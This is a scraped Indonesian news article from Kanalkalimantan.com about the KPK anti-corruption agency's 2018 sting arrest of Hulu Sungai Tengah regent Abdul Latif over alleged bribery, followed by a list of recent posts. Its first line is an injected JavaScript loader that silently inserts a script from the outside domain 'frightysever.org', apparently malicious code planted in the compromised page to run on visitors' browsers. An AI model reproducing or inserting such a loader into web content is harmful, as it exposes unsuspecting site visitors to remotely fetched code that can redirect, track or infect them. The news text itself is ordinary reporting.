(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Bupati HST jadi Kepala Daerah Pertama yang Terjaring OTT KPK Tahun 2018


BARABAI, Komisi Pemberantasan Korupsi (KPK) melakukan Operasi Tangkap Tangan (OTT) pertama di awal 2018 dengan menggelandang Bupati HST Abdul Latif, Kamis (4/1). Selain Bupati, dalam operasi tersebut juga diamankan Ketua Kadin HST H Fauzan.

Disebutkan, ada empat personel yang langsung membuka pintu ruang kerja bupati tersebut sekitar pukul 10.30 wita. Selanjutnya, pada pukul 11.00 wita, bupati dan Direktur Cipta Persada Barabai tersebut dibawa KPK.

Informasi yang dihimpun Kanalkalimantan.com menyebutkan, Abdul Latif saat ini telah dibawa oleh sejumlah anggota tim penyidik dengan pesawat melalui Bandara Syamsudin Noor, sekitar pukul 13.30 Wita. Yang bersangkutan kemudian tiba di Bandara Halim Perdana Kusuma, Jakarta, pada pukul 13.30 Wib untuk berangkat ke gedung KPK.

Sebelumnya, penyidik KPK siang tadi langsung menggeledah ruang kerja Abdul Latif, yang juga langsung diamankan bersama seorang kontraktor bernama Fauzan. Ketua KPK Agus Rahardjo membenarkan adanya OTT di Kabupaten HST dengan tersangka Bupati yang menerima uang suap dari pengusaha.

Namun, komisi anti rasuah itu belum membeberkan terkait kasus apa, sehingga Bupati HST terjerat OTT. KPK masih memiliki waktu 1×24 jam untuk menentukan status Abdul Latif, apakah akan menjadi tersangka atau tidak.

Mengenai OTT tersebut, Kabag Humas Pemkab HST Ramadhan membenarkan ada beberapa orang yang mengaku dari KPK tiba-tiba datang langsung masuk ruangan.

“Saya sendiri tak sempat melihat, saat saya naik ke atas, ruangan bupati sudah kosong,” kata Ramadan kepada wartawan.

Sebelumnya, KPK juga telah melakukan sejumlah OTT terhadap kepala daerah lain. Wakil Ketua KPK Laode M Syarif banyak dari kepala daerah yang melakukan penerapan suap dengan memotong uang proyek. Rata-rata, kata dia, pemotongan uang proyek adalah sekitar 10 persen dari nilai proyek.

16 September 2017 lalu, tim satgas KPK mendapati Wali Kota Batu Eddy Rumpoko menerima suap proyek pengadaan meubelair di Pemerintah Kota (Pemkot) Batu tahun anggaran 2017. Dia tertangkap tangan menerima uang sebesar Rp 200 juta di rumah dinasnya.

Eddy dijanjikan fee olehFilipus Djap (FHL) sebanyak Rp 500 juta dari total proyek pengadaan barang dan jasa sebesar Rp 5,26 miliar. Diketahui, untuk jumlah fee Rp 300 juta, Filipus sebelumnya juga sudah melunasi pembayaran mobil Alphard milik politikus dari PDI P tersebut. Sehingga fee yang didapatkan oleh Eddy Rumpoko memang sebesar 10 persen.


Page: 1 2

Desy Arfianty

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

13 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

14 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

14 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

15 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

15 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

16 jam ago

This website uses cookies.